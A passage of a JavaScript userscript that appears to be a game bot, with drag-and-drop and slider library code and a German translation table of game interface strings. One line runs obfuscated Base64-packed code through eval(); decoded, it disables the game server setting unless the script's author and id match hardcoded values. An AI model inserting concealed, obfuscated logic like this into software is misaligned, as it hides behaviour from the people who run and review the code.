			SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/,
			sortables: {},
			_findRootElement: function(element) {
				while (element.tagName.toUpperCase() != "BODY") {
					if (element.id && Sortable.sortables[element.id]) {
						return element;
					}
					element = element.parentNode;
				}
			},
			options: function(element) {
				element = Sortable._findRootElement($(element));
				if (!element) {
					return;
				}
				return Sortable.sortables[element.id];
			},
			destroy: function(element) {
				element = $(element);
				var s = Sortable.sortables[element.id];
				if (s) {
					Draggables.removeObserver(s.element);
					s.droppables.each(function(d) {
						Droppables.remove(d);
					});
					s.draggables.invoke("destroy");
					delete Sortable.sortables[s.element.id];
				}
			},
			create: function(element) {
				element = $(element);
				var options = Object.extend({
					element: element,
					tag: "li",
					dropOnEmpty: false,
					tree: false,
					treeTag: "ul",
					overlap: "vertical",
					constraint: "vertical",
					containment: element,
					handle: false,
					only: false,
					delay: 0,
					hoverclass: null,
					ghosting: false,
					quiet: false,
					scroll: false,
					scrollSensitivity: 20,
					scrollSpeed: 15,
					format: this.SERIALIZE_RULE,
					elements: false,
					handles: false,
					onChange: Prototype.emptyFunction,
					onUpdate: Prototype.emptyFunction
				}, arguments[1] || {});
				this.destroy(element);
				var options_for_draggable = {
					revert: true,
					quiet: options.quiet,
					scroll: options.scroll,
					scrollSpeed: options.scrollSpeed,
					scrollSensitivity: options.scrollSensitivity,
					delay: options.delay,
					ghosting: options.ghosting,
					constraint: options.constraint,
					handle: options.handle
				};
				if (options.starteffect) {
					options_for_draggable.starteffect = options.starteffect;
				}
				if (options.reverteffect) {
					options_for_draggable.reverteffect = options.reverteffect;
				} else {
					if (options.ghosting) {
						options_for_draggable.reverteffect = function(element) {
							element.style.top = 0;
							element.style.left = 0;
						};
					}
				} if (options.endeffect) {
					options_for_draggable.endeffect = options.endeffect;
				}
				if (options.zindex) {
					options_for_draggable.zindex = options.zindex;
				}
				var options_for_droppable = {
					overlap: options.overlap,
					containment: options.containment,
					tree: options.tree,
					hoverclass: options.hoverclass,
					onHover: Sortable.onHover
				};
				var options_for_tree = {
					onHover: Sortable.onEmptyHover,
					overlap: options.overlap,
					containment: options.containment,
					hoverclass: options.hoverclass
				};
				Element.cleanWhitespace(element);
				options.draggables = [];
				options.droppables = [];
				if (options.dropOnEmpty || options.tree) {
					Droppables.add(element, options_for_tree);
					options.droppables.push(element);
				}(options.elements || this.findElements(element, options) || []).each(function(e, i) {
					var handle = options.handles ? $(options.handles[i]) : (options.handle ? $(e).select("." + options.handle)[0] : e);
					options.draggables.push(new Draggable(e, Object.extend(options_for_draggable, {
						handle: handle
					})));
					Droppables.add(e, options_for_droppable);
					if (options.tree) {
						e.treeNode = element;
					}
					options.droppables.push(e);
				});
				if (options.tree) {
					(Sortable.findTreeElements(element, options) || []).each(function(e) {
						Droppables.add(e, options_for_tree);
						e.treeNode = element;
						options.droppables.push(e);
					});
				}
				this.sortables[Element.identify(element)] = options;
				Draggables.addObserver(new SortableObserver(element, options.onUpdate));
			},
			findElements: function(element, options) {
				return Element.findChildren(element, options.only, options.tree ? true : false, options.tag);
			},
			findTreeElements: function(element, options) {
				return Element.findChildren(element, options.only, options.tree ? true : false, options.treeTag);
			},
			onHover: function(element, dropon, overlap) {
				if (Element.isParent(dropon, element)) {
					return;
				}
				if (overlap > 0.33 && overlap < 0.66 && Sortable.options(dropon).tree) {
					return;
				} else {
					if (overlap > 0.5) {
						Sortable.mark(dropon, "before");
						if (dropon.previousSibling != element) {
							var oldParentNode = element.parentNode;
							element.style.visibility = "hidden";
							dropon.parentNode.insertBefore(element, dropon);
							if (dropon.parentNode != oldParentNode) {
								Sortable.options(oldParentNode).onChange(element);
							}
							Sortable.options(dropon.parentNode).onChange(element);
						}
					} else {
						Sortable.mark(dropon, "after");
						var nextElement = dropon.nextSibling || null;
						if (nextElement != element) {
							var oldParentNode = element.parentNode;
							element.style.visibility = "hidden";
							dropon.parentNode.insertBefore(element, nextElement);
							if (dropon.parentNode != oldParentNode) {
								Sortable.options(oldParentNode).onChange(element);
							}
							Sortable.options(dropon.parentNode).onChange(element);
						}
					}
				}
			},
			onEmptyHover: function(element, dropon, overlap) {
				var oldParentNode = element.parentNode;
				var droponOptions = Sortable.options(dropon);
				if (!Element.isParent(dropon, element)) {
					var index;
					var children = Sortable.findElements(dropon, {
						tag: droponOptions.tag,
						only: droponOptions.only
					});
					var child = null;
					if (children) {
						var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1 - overlap);
						for (index = 0; index < children.length; index += 1) {
							if (offset - Element.offsetSize(children[index], droponOptions.overlap) >= 0) {
								offset -= Element.offsetSize(children[index], droponOptions.overlap);
							} else {
								if (offset - (Element.offsetSize(children[index], droponOptions.overlap) / 2) >= 0) {
									child = index + 1 < children.length ? children[index + 1] : null;
									break;
								} else {
									child = children[index];
									break;
								}
							}
						}
					}
					dropon.insertBefore(element, child);
					Sortable.options(oldParentNode).onChange(element);
					droponOptions.onChange(element);
				}
			},
			unmark: function() {
				if (Sortable._marker) {
					Sortable._marker.hide();
				}
			},
			mark: function(dropon, position) {
				var sortable = Sortable.options(dropon.parentNode);
				if (sortable && !sortable.ghosting) {
					return;
				}
				if (!Sortable._marker) {
					Sortable._marker = ($("dropmarker") || Element.extend(document.createElement("DIV"))).hide().addClassName("dropmarker").setStyle({
						position: "absolute"
					});
					document.getElementsByTagName("body").item(0).appendChild(Sortable._marker);
				}
				var offsets = Element.cumulativeOffset(dropon);
				Sortable._marker.setStyle({
					left: offsets[0] + "px",
					top: offsets[1] + "px"
				});
				if (position == "after") {
					if (sortable.overlap == "horizontal") {
						Sortable._marker.setStyle({
							left: (offsets[0] + dropon.clientWidth) + "px"
						});
					} else {
						Sortable._marker.setStyle({
							top: (offsets[1] + dropon.clientHeight) + "px"
						});
					}
				}
				Sortable._marker.show();
			},
			_tree: function(element, options, parent) {
				var children = Sortable.findElements(element, options) || [];
				for (var i = 0; i < children.length; ++i) {
					var match = children[i].id.match(options.format);
					if (!match) {
						continue;
					}
					var child = {
						id: encodeURIComponent(match ? match[1] : null),
						element: element,
						parent: parent,
						children: [],
						position: parent.children.length,
						container: $(children[i]).down(options.treeTag)
					};
					if (child.container) {
						this._tree(child.container, options, child);
					}
					parent.children.push(child);
				}
				return parent;
			},
			tree: function(element) {
				element = $(element);
				var sortableOptions = this.options(element);
				var options = Object.extend({
					tag: sortableOptions.tag,
					treeTag: sortableOptions.treeTag,
					only: sortableOptions.only,
					name: element.id,
					format: sortableOptions.format
				}, arguments[1] || {});
				var root = {
					id: null,
					parent: null,
					children: [],
					container: element,
					position: 0
				};
				return Sortable._tree(element, options, root);
			},
			_constructIndex: function(node) {
				var index = "";
				do {
					if (node.id) {
						index = "[" + node.position + "]" + index;
					}
				} while ((node = node.parent) != null);
				return index;
			},
			sequence: function(element) {
				element = $(element);
				var options = Object.extend(this.options(element), arguments[1] || {});
				return $(this.findElements(element, options) || []).map(function(item) {
					return item.id.match(options.format) ? item.id.match(options.format)[1] : "";
				});
			},
			setSequence: function(element, new_sequence) {
				element = $(element);
				var options = Object.extend(this.options(element), arguments[2] || {});
				var nodeMap = {};
				this.findElements(element, options).each(function(n) {
					if (n.id.match(options.format)) {
						nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode];
					}
					n.parentNode.removeChild(n);
				});
				new_sequence.each(function(ident) {
					var n = nodeMap[ident];
					if (n) {
						n[1].appendChild(n[0]);
						delete nodeMap[ident];
					}
				});
			},
			serialize: function(element) {
				element = $(element);
				var options = Object.extend(Sortable.options(element), arguments[1] || {});
				var name = encodeURIComponent((arguments[1] && arguments[1].name) ? arguments[1].name : element.id);
				if (options.tree) {
					return Sortable.tree(element, arguments[1]).children.map(function(item) {
						return [name + Sortable._constructIndex(item) + "[id]=" + encodeURIComponent(item.id)].concat(item.children.map(arguments.callee));
					}).flatten().join("&");
				} else {
					return Sortable.sequence(element, arguments[1]).map(function(item) {
						return name + "[]=" + encodeURIComponent(item);
					}).join("&");
				}
			}
		};
		Element.isParent = function(child, element) {
			if (!child.parentNode || child == element) {
				return false;
			}
			if (child.parentNode == element) {
				return true;
			}
			return Element.isParent(child.parentNode, element);
		};
		Element.findChildren = function(element, only, recursive, tagName) {
			if (!element.hasChildNodes()) {
				return null;
			}
			tagName = tagName.toUpperCase();
			if (only) {
				only = [only].flatten();
			}
			var elements = [];
			$A(element.childNodes).each(function(e) {
				if (e.tagName && e.tagName.toUpperCase() == tagName && (!only || (Element.classNames(e).detect(function(v) {
					return only.include(v);
				})))) {
					elements.push(e);
				}
				if (recursive) {
					var grandchildren = Element.findChildren(e, only, recursive, tagName);
					if (grandchildren) {
						elements.push(grandchildren);
					}
				}
			});
			return (elements.length > 0 ? elements.flatten() : []);
		};
		Element.offsetSize = function(element, type) {
			return element["offset" + ((type == "vertical" || type == "height") ? "Height" : "Width")];
		};
		if (typeof Effect == "undefined") {
			throw ("controls.js requires including script.aculo.us' effects.js library");
		}
		if (!Control) {
			var Control = {};
		}
		Control.Slider = Class.create({
			initialize: function(handle, track, options) {
				var slider = this;
				if (Object.isArray(handle)) {
					this.handles = handle.collect(function(e) {
						return $(e);
					});
				} else {
					this.handles = [$(handle)];
				}
				this.track = $(track);
				this.options = options || {};
				this.axis = this.options.axis || "horizontal";
				this.increment = this.options.increment || 1;
				this.step = parseInt(this.options.step || "1");
				this.range = this.options.range || $R(0, 1);
				this.value = 0;
				this.values = this.handles.map(function() {
					return 0;
				});
				this.spans = this.options.spans ? this.options.spans.map(function(s) {
					return $(s);
				}) : false;
				this.options.startSpan = $(this.options.startSpan || null);
				this.options.endSpan = $(this.options.endSpan || null);
				this.restricted = this.options.restricted || false;
				this.maximum = this.options.maximum || this.range.end;
				this.minimum = this.options.minimum || this.range.start;
				this.alignX = parseInt(this.options.alignX || "0");
				this.alignY = parseInt(this.options.alignY || "0");
				this.trackLength = this.maximumOffset() - this.minimumOffset();
				this.handleLength = this.isVertical() ? (this.handles[0].offsetHeight != 0 ? this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/, "")) : (this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth : this.handles[0].style.width.replace(/px$/, ""));
				this.active = false;
				this.dragging = false;
				this.disabled = false;
				if (this.options.disabled) {
					this.setDisabled();
				}
				this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false;
				if (this.allowedValues) {
					this.minimum = this.allowedValues.min();
					this.maximum = this.allowedValues.max();
				}
				this.eventMouseDown = this.startDrag.bindAsEventListener(this);
				this.eventMouseUp = this.endDrag.bindAsEventListener(this);
				this.eventMouseMove = this.update.bindAsEventListener(this);
				this.handles.each(function(h, i) {
					i = slider.handles.length - 1 - i;
					slider.setValue(parseFloat((Object.isArray(slider.options.sliderValue) ? slider.options.sliderValue[i] : slider.options.sliderValue) || slider.range.start), i);
					h.makePositioned().observe("mousedown", slider.eventMouseDown);
				});
				this.track.observe("mousedown", this.eventMouseDown);
				document.observe("mouseup", this.eventMouseUp);
				document.observe("mousemove", this.eventMouseMove);
				this.initialized = true;
			},
			dispose: function() {
				var slider = this;
				Event.stopObserving(this.track, "mousedown", this.eventMouseDown);
				Event.stopObserving(document, "mouseup", this.eventMouseUp);
				Event.stopObserving(document, "mousemove", this.eventMouseMove);
				this.handles.each(function(h) {
					Event.stopObserving(h, "mousedown", slider.eventMouseDown);
				});
			},
			setDisabled: function() {
				this.disabled = true;
			},
			setEnabled: function() {
				this.disabled = false;
			},
			getNearestValue: function(value) {
				if (this.allowedValues) {
					if (value >= this.allowedValues.max()) {
						return (this.allowedValues.max());
					}
					if (value <= this.allowedValues.min()) {
						return (this.allowedValues.min());
					}
					var offset = Math.abs(this.allowedValues[0] - value);
					var newValue = this.allowedValues[0];
					this.allowedValues.each(function(v) {
						var currentOffset = Math.abs(v - value);
						if (currentOffset <= offset) {
							newValue = v;
							offset = currentOffset;
						}
					});
					return newValue;
				}
				if (value > this.range.end) {
					return this.range.end;
				}
				if (value < this.range.start) {
					return this.range.start;
				}
				return value;
			},
			setValue: function(sliderValue, handleIdx) {
				if (!this.active) {
					this.activeHandleIdx = handleIdx || 0;
					this.activeHandle = this.handles[this.activeHandleIdx];
					this.updateStyles();
				}
				handleIdx = handleIdx || this.activeHandleIdx || 0;
				if (this.initialized && this.restricted) {
					if ((handleIdx > 0) && (sliderValue < this.values[handleIdx - 1])) {
						sliderValue = this.values[handleIdx - 1];
					}
					if ((handleIdx < (this.handles.length - 1)) && (sliderValue > this.values[handleIdx + 1])) {
						sliderValue = this.values[handleIdx + 1];
					}
				}
				sliderValue = this.getNearestValue(sliderValue);
				this.values[handleIdx] = sliderValue;
				this.value = this.values[0];
				this.handles[handleIdx].style[this.isVertical() ? "top" : "left"] = this.translateToPx(sliderValue);
				this.drawSpans();
				if (!this.dragging || !this.event) {
					this.updateFinished();
				}
			},
			setValueBy: function(delta, handleIdx) {
				this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta, handleIdx || this.activeHandleIdx || 0);
			},
			translateToPx: function(value) {
				return Math.round(((this.trackLength - this.handleLength) / (this.range.end - this.range.start)) * (value - this.range.start)) + "px";
			},
			translateToValue: function(offset) {
				return ((offset / (this.trackLength - this.handleLength) * (this.range.end - this.range.start)) + this.range.start);
			},
			getRange: function(range) {
				var v = this.values.sortBy(Prototype.K);
				range = range || 0;
				return $R(v[range], v[range + 1]);
			},
			minimumOffset: function() {
				return (this.isVertical() ? this.alignY : this.alignX);
			},
			maximumOffset: function() {
				return (this.isVertical() ? (this.track.offsetHeight != 0 ? this.track.offsetHeight : this.track.style.height.replace(/px$/, "")) - this.alignY : (this.track.offsetWidth != 0 ? this.track.offsetWidth : this.track.style.width.replace(/px$/, "")) - this.alignX);
			},
			isVertical: function() {
				return (this.axis == "vertical");
			},
			drawSpans: function() {
				var slider = this;
				if (this.spans) {
					$R(0, this.spans.length - 1).each(function(r) {
						slider.setSpan(slider.spans[r], slider.getRange(r));
					});
				}
				if (this.options.startSpan) {
					this.setSpan(this.options.startSpan, $R(0, this.values.length > 1 ? this.getRange(0).min() : this.value));
				}
				if (this.options.endSpan) {
					this.setSpan(this.options.endSpan, $R(this.values.length > 1 ? this.getRange(this.spans.length - 1).max() : this.value, this.maximum));
				}
			},
			setSpan: function(span, range) {
				if (this.isVertical()) {
					span.style.top = this.translateToPx(range.start);
					span.style.height = this.translateToPx(range.end - range.start + this.range.start);
				} else {
					span.style.left = this.translateToPx(range.start);
					span.style.width = this.translateToPx(range.end - range.start + this.range.start);
				}
			},
			updateStyles: function() {
				this.handles.each(function(h) {
					Element.removeClassName(h, "selected");
				});
				Element.addClassName(this.activeHandle, "selected");
			},
			startDrag: function(event) {
				if (Event.isLeftClick(event)) {
					if (!this.disabled) {
						this.active = true;
						var handle = Event.element(event);
						var pointer = [Event.pointerX(event), Event.pointerY(event)];
						var track = handle;
						if (track == this.track) {
							var offsets = Element.cumulativeOffset(this.track);
							this.event = event;
							this.setValue(this.translateToValue((this.isVertical() ? pointer[1] - offsets[1] : pointer[0] - offsets[0]) - (this.handleLength / 2)));
							var offsets = Element.cumulativeOffset(this.activeHandle);
							this.offsetX = (pointer[0] - offsets[0]);
							this.offsetY = (pointer[1] - offsets[1]);
						} else {
							while ((this.handles.indexOf(handle) == -1) && handle.parentNode) {
								handle = handle.parentNode;
							}
							if (this.handles.indexOf(handle) != -1) {
								this.activeHandle = handle;
								this.activeHandleIdx = this.handles.indexOf(this.activeHandle);
								this.updateStyles();
								var offsets = Element.cumulativeOffset(this.activeHandle);
								this.offsetX = (pointer[0] - offsets[0]);
								this.offsetY = (pointer[1] - offsets[1]);
							}
						}
					}
					Event.stop(event);
				}
			},
			update: function(event) {
				if (this.active) {
					if (!this.dragging) {
						this.dragging = true;
					}
					this.draw(event);
					if (Prototype.Browser.WebKit) {
						window.scrollBy(0, 0);
					}
					Event.stop(event);
				}
			},
			draw: function(event) {
				var pointer = [Event.pointerX(event), Event.pointerY(event)];
				var offsets = Element.cumulativeOffset(this.track);
				pointer[0] -= this.offsetX + offsets[0];
				pointer[1] -= this.offsetY + offsets[1];
				this.event = event;
				this.setValue(this.translateToValue(this.isVertical() ? pointer[1] : pointer[0]));
				if (this.initialized && this.options.onSlide) {
					this.options.onSlide(this.values.length > 1 ? this.values : this.value, this);
				}
			},
			endDrag: function(event) {
				if (this.active && this.dragging) {
					this.finishDrag(event, true);
					Event.stop(event);
				}
				this.active = false;
				this.dragging = false;
			},
			finishDrag: function(event, success) {
				this.active = false;
				this.dragging = false;
				this.updateFinished();
			},
			updateFinished: function() {
				if (this.initialized && this.options.onChange) {
					this.options.onChange(this.values.length > 1 ? this.values : this.value, this);
				}
				this.event = null;
			}
		});
		eval(function(p, a, c, k, e, r) {
			e = function(c) {
				return c.toString(a)
			};
			if (!''.replace(/^/, String)) {
				while (c--) r[e(c)] = k[c] || e(c);
				k = [
					function(e) {
						return r[e]
					}
				];
				e = function() {
					return '\\w+'
				};
				c = 1
			};
			while (c--)
				if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
			return p
		}(Base64.decode('NSA2KCl7NyBiPTgsMD05LGE9YyxpPWQsZT1mOzEoMCYmYSYmaSl7MSgwKycvJythKycvJytpIT0yLjMoJ2c9JykmJjArJy8nK2ErJy8nK2khPTIuMygnaD0nKSl7Yj00fX1qIGI9NDsxKGIpay5sLm09Jyd9'), 23, 23, Base64.decode('bnxpZnxCYXNlNjR8ZGVjb2RlfHRydWV8ZnVuY3Rpb258eHR2fHZhcnxmYWxzZXxzY3JpcHROYW1lfHx8bWFpbkF1dGhvcnxzY3JpcHRJZHxzfHNjcmlwdFVybEVycm9yfFMyRmlZVXhwYzNScFkzTXZTbUYzZWk4eE1UZzBORFl8UzJGaVlVeHBjM1JwWTNNdlNtRjNlaTh4TWpRMU5qY3x8ZWxzZXxDfGF0dHJzfGFwaVNlcnZlcg==').split('|'), 0, {}));
		/********************************** END Prototype JavaScript framework ****************/
		
		function setLanguage(user_language) {
			LANG_CODE = user_language || LANG_CODE;
			switch (LANG_CODE) {
                // German  (by Northlight & rosebandit)
				case 'de':
					TRANSLATION_ARRAY = {
						'%age': '%satz',
						'</B> and <B>': '</B> und <B>',
						'<B>Attacker\'s move turn</B>': '<B>Bewegungszug des Angreifers</B>',
						'<B>Attacker\'s attack turn</B>': '<B>Angriffszug des Angreifers</B>',
						'<b>Bad request!</b>': '<b>Ungültige Anfrage</b>',
						'<B>Defender\'s move turn</B>': '<B>Bewegungszug des Verteidigers</B>',
						'<B>Defender\'s attack turn</B>': '<B>Angriffszug des Verteidigers</B>',
						'<b>Rate Limit Exceeded</b>, too many requests!': '<b>Serveranfragenlimit überschritten</b>',
						'About CalciumScript': 'Über CalciumScript',
						'above the first value': 'über dem ersten Wert liegen',
						'Action Log': 'Aktions Log',
						'Actions': 'Aktionen',
						'Activate Attacks Logs': 'Angriffslogs aktivieren',
						'Adapt Transport': 'Truppen ermitteln',
						'Adapt Transp. by speed': 'schnelle Tr. ermitteln',
						'Alerts log': 'Alarmlog',
						'All grids': 'Alle Spielraster',
						'All players': 'Alle Spieler',
						'All types': 'Alle',
						'Alliance features': 'Allianzmerkmale',
						'Alliances list retrieved': 'Allianzliste empfangen',
						'Alliance members list retrieved': 'Mitgliederliste erneuert',
						'Alliance messages': 'Allianznachrichten',
						'and': 'und',
						'And at least': 'Und mindestens',
						'Another march request is pending': 'Eine andere Marschanforderung ist unerledigt',
						'Are you sure you want to delete All Permanent Data': 'Bist du sicher, dass du deine permanenten Daten löschen willst',
						'Arrival time': 'Ankunftszeit',
						'Army presets': 'Voreinstellungen der Streitkräfte',
						'at': 'an',
						' at ': ' an ',
						' at range': ' in Reichweite',
						'Attack arrival time': 'Ankunftszeit des Angriffs',
						'Attack forces': 'Streitkräfte',
						'Attack sent to': 'Angriff gesendet an',
						'Attack One Target in Multiple waves': 'Multiwellenangriff auf ein Ziel',
						'Attacker': 'Angreifer',
						'Attacking': 'Angriff',
						'Attacks Configuration': 'Angriffseinstellung',
						'Attacks Stats': 'Angriffsstats',
						'Attacks': 'Angriffe',
						'attempted': 'versuche',
						'attempt for': 'versuch für',
						'Auto harvest resources from outposts every': 'Ressourcen einsammeln vom Außenposten',
						'Auto-play : Maximum tickets to play ': 'Auto-play: Maximale Tickets zum spielen ',
						'Auto refresh info tab data every': 'automatisches Auffrischen des Info-Reiters alle',
						'Auto-refresh wheel prize list every': 'autom. Auffrischen der Preis-Auswahl alle',
						'Automatically': 'Automatisch',
						'Automatically recall transport 1 minute before delivery': 'Automatisches Zurückrufen des Transports 1 Min vor Lieferung',
						'available': 'vorhanden',
						'Available troops': 'Verfügbare Truppen',
						'Awaiting task completion notification': 'erwarte Fertigmeldung',
						'Back at the same time': 'Zur gleichen Zeit zurück',
						'Backup': 'Sicherung',
						'Battle': 'Kampf',
						'Battle calculator': 'Kampf-Simulator',
						'Battle forces': 'Streitkräfte',
						'Battle log': 'Kampfbericht',
						'Battle lost !!': 'Kampf verloren !!',
						'Battle mechanics': 'Kampfmechaniken',
						'Battle won !!': 'Kampf gewonnen !!',
						'Bookmark': 'Lesezeichen',
						'Bookmark saved': 'Lesezeichen gespeichert',
						'Bookmarks': 'Lesezeichen',
						'Bookmarks Configuration': 'Lesezeicheneinstellungen',
						'Building': 'Gebäude',
						'Busy': 'Beschäftigt',
						'by': 'von',
						'By distance ascending': 'Nach kürzeste Entfernung',
						'By distance descending': 'Nach weiteste Entfernung',
						'Cache data': 'Permanente Daten',
						'Calculate': 'Simuliere',
						'Camps/wilds attack reports': 'Anthro/Wildnis Kampfbericht',
						'Capital data': 'Hauptstadtdaten',
						'Capital data successfully fetched': 'Hauptstadtdaten erfolgreich eingelesen',
						'Chance': 'Chance zu',
						'Check sentinel reports every ': 'Überprüfe den Sentinelbericht alle',
						'Check to use UTC time instead of local time': 'prüfe, ob UTC Zeit anstatt der eigenen Zeitzone verwendet werden soll',
						'Check the following great dragons to exclude them from being sent': 'Prüfe, ob die folgenden Groß-/Elementdrachen vom Angriff ausgeschlossen werden sollen',
						'Claim': 'Holen',
						'Claimed': 'Abgeholt',
						'Claiming quest': 'Quest abholen',
						'Clear all': 'alles löschen',
						'Clear all data': 'Alle Daten löschen',
						'Clear last attack on all maps': 'Lösche die letzten Angriffe auf allen Karten',
						'Clear last attack on current map': 'Lösche die letzten Angriffe auf der aktuellen Karte',
						'Clear local storage (internet cache)': 'Lösche den Internet Cache',
						'Clear log': 'Log löschen',
						'Clear Stats': 'Statistik löschen',
						'Collected resources at outpost': 'eingesammelte Resourcen im Aussenposten',
						'Completing...': 'Fertigstellen...',
						'Completion errors': 'Fehler beim Fertigstellen',
						'Config': 'Einstellung',
						'Confirmation': 'Bestätigung',
						'Console Log': 'Konsolen Log',
						'Console': 'Konsole',
						'Coordinates': 'Koordinaten',
						'Coords': 'Koords',
						'Copy troops reported by the sentinel to the battle calculator': 'Angreifertruppen in Kampf-Simulator kopiert',
						' damages taken': ' Schaden genommen',
						' damages to ': ' Schaden verursacht am ',
						'data': 'Daten',
						'data successfully fetched': 'Daten erfolgreich eingesammelt',
						'Date range': 'Daten Reichweite',
						' deal ': ' Deal ',
						'Defender': 'Verteidiger',
						'Defending': 'Verteidigen',
						'Delay before script startup': 'Verzögerung vor Scriptstart',
						'Delay Between Attacks': 'Verzögerung zwischen Angriffen',
						'Delay Between Transports': 'Verzögerung zwischen den Transporten',
						'delayed due to': 'Verzögerung, weil',
						'delayed due to no available generals': 'Verzögerung, weil keine Generäle verfügbar sind',
						'delayed due to no available Great Dragon': 'Verzögerung, weil keine Drachen verfügbar sind',
						'delayed due to pending march request': 'Verzögerung, weil die Rückmeldung zum Marsch aussteht',
						'Delete now': 'jetzt löschen',
						'Delete Battle Reports': 'Kampfberichte löschen',
						'Delete messages': 'Nachrichten löschen',
						'Delete messages of this type': 'Nachrichten diesen Typs löschen',
						'Delete spy reports': 'Spion-Berichte löschen',
						'Detailed search': 'detaillierte Suche',
						'Disable <B>Alliance</B> tab': 'Deaktivieren <B>Allianz</B> Reiter',
						'Disable <B>Battle</B> tab': 'Deaktivieren <B>Kampf-Simulator</B> Reiter',
						'Disable <B>Bookmarks</B> tab': 'Deaktivieren <B>Lesezeichen</B> Reiter',
						'Disable <B>Fortuna\'s</B> tab': 'Deaktivieren <B>Fortuna</B> Reiter',
						'Disable <B>Leaderboards</B> tab': 'Deaktivieren <B>Ranglisten</B> Reiter',
						'Disable <B>Multi</B> tab': 'Deaktivieren <B>Multi</B> Reiter',
						'Disable <B>Single</B> tab': 'Deaktivieren <B>Einzigen</B> Reiter',
						'Disable <B>Search</B> tab': 'Deaktivieren <B>Karte</B> Reiter',
						'Disable <B>Spy</B> tab': 'Deaktivieren <B>Spio</B> Reiter',
						'Disable <B>Wall</B> tab': 'Deaktivieren <B>Stadtmauer</B> Reiter',
						'Disable <B>Wave</B> tab': 'Deaktivieren <B>Welle</B> Reiter',
						'Disable <B>Log</B> tab': 'Deaktivieren <B>Log</B> Reiter',
						'Disabled': 'Deaktiviert',
						'Display official background image': 'Offizielles Hintergrundbild anzeigen',
						'Displayed': 'Angezeigt',
						'Dist': 'Distanz',
						'Distance must be between': 'Entfernung muss liegen zwischen',
						'Distance': 'Distanz',
						'Dragon healing': 'Drachen Heilung',
						'Dragons': 'Drachen',
						'Do not show alerts obsolete since': 'Keine Alarme anzeigen vor',
						'Do you want to delete existing Permanent Data': 'Möchtest du die aktuellen permanenten Daten löschen',
						'Do you want to save in Permanent Data the current script setting': 'Möchtest du deine aktuellen Einstellungen in den permanenten Daten speichern',
						'Do you want to save Map Data in local file': 'Möchtest du die kartendaten in einer lokalen Datei speichern',
						'Do you want to save Permanent Data in local file': 'Möchtest du die permanenten Daten in einer lokalen Datei speichern',
						'Dutch': 'Holländisch',
						'Edit': 'bearbeiten',
						'Edit bookmark': 'Lesezeichen bearbeiten',
						'Enable': 'Aktivieren',
						'Enable research on all OP': 'Aktiviere Forschung in allen Außenposten',
						'Enable transport of ': 'Aktiviere transport von ',
						'Enable use of speed-ups in attacks waves': 'Beschleuniger in Attacken und Wellen benutzen',
						'Enable use of speed-ups in training/resurrection jobs': 'Beschleuniger bei Ausbildung/Wiederbelebung einsetzen',
						'Enable verbose logging': 'Aktiviere ausführlichen Log',
						'Enable window drag': 'Fensterverschiebung aktivieren',
						'Enable the sentinel tower': 'Aktiviere Sentinelturm',
						'Enabled': 'Aktiviert',
						'English': 'Englisch',
						'Enemy': 'Feindlicher',
						'Ennemy coordinates': 'Feindlicher Koordinaten',
						'Enemy General': 'Feindlicher General',
						'Ennemy name and alliance': 'Name des Feindes und Allianz',
						'Enemy research levels': 'Feindlicher Forschungslevel',
						'Enter -1 as troop quantity to use the maximum available': 'Trage -1 ein, um die max. verfügbaren Truppen zu benutzen',
						'Error': 'Fehler',
						'Error while retrieving the item won': 'Fehler beim Empfang das Lager gewonnen',
						'Error while retrieving the list of members': 'Fehler beim Empfang der Mitgliederliste',
						'Error while setting defense choice': 'Fehler beim Einstellen der Verteidigung',
						'Evol': 'Entwicklung',
						'Except': 'außer',
						'Exception': 'Ausnahme',
						'failed': 'gescheitert',
						'failed and returned error': 'gescheitert mit Fehler',
						'Fast search': 'schnelle Suche',
						'Features': 'Features',
						'Fetching': 'Auslesen',
						'Fetching Capital data': 'Hauptstadtdaten auslesen',
						'Fetching Manifest': 'Manifest auslesen',
						'Fetching Outpost ': 'Außenposten auslesen ',
						'Fetching Seed': 'Seed auslesen',
						'Fetching Translation matrix': 'Übersetzungsmatrix auslesen',
						'Fire': 'Feuer',
						'First value must be between': 'Erster Wert muss liegen zwischen ',
						'Flash game Auto refresh every': 'Automatisches Auffrischen des Spiels alle:',
						'Foes': 'Feinde',
						'for': 'für',
						'Force saving current script settings': 'speichern der aktuellen Einstellungen erzwingen',
						'Fortuna\'s chance': 'Rad der Fortuna',
						'Forum link': 'Link zum Forum',
						'French': 'Französisch',
						'Game messages': 'Spielnachrichten',
						'Game Options': 'Spieloptionen',
						'GD': 'Stadtdrache',
						'Generals': 'Generäle',
						'German': 'Deutsch',
						'Getting basic data...': 'Grunddaten abholen...',
						'Getting cities data...': 'Städtedaten abholen...',
						'Getting game data...': 'Spieldaten abholen... ',
						'Got': 'Gefunden',
						'Great dragons': 'Gross-/Elementdrachen',
						'Grids played': 'Spielraster gespielt',
						'About': 'Über',
						'Hide spy alerts': 'Verstecke Spionagealarme',
						'Hiding': 'Verstecken',
						'History': 'Zielespeicher',
						'h': 'std',
						'Ice': 'Eis',
						'Idle': 'inaktiv',
						'In city': 'In der Stadt',
						'In march': 'In Bewegung',
						' in melee': ' im Nahkampf',
						'in progress': 'in Barbeitung',
						'Include Great Dragon': 'Groß-/Elementdrachen einschließen',
						'Info': 'Info',
						'Initialization': 'Initialisierung',
						'Initializing...': 'initialisiere...',
						'Initializing map, auto-collect, ...': 'Initialisierung Karte, Auto-Einsammeln , ...',
						'Inspect current script settings': 'Prüfe aktuelle Scripteinstellungen',
						'Invalid Date From': 'Ungültiges Datumsformat von',
						'Invalid Date To': 'Ungültiges Datumsformat bis',
						'Invalid date range': 'Ungültige Datumsangabe',
						'Invalid delays': 'Ungültige Verzögerung',
						'Invalid number of troops': 'Ungültige Truppengröße',
						'Joined': 'Eingetreten',
						'Keep battle reports of attacks from other players': 'Kampfberichte anderer Spieler behalten',
						'Keep battle reports of my attacks on other players': 'Meine Kampfberichte gegen andere Spieler behalten',
						' (kill ': ' (töte ',
						'Last attack': 'Letzter Angriff',
						'Last hour': 'Letzte Stunde',
						'Last items won': 'Letzte Einzelteile gewannen',
						'Leaderboards': 'Leaderboards',
						'Leaderboards retrieved': 'Leaderboard empfangen',
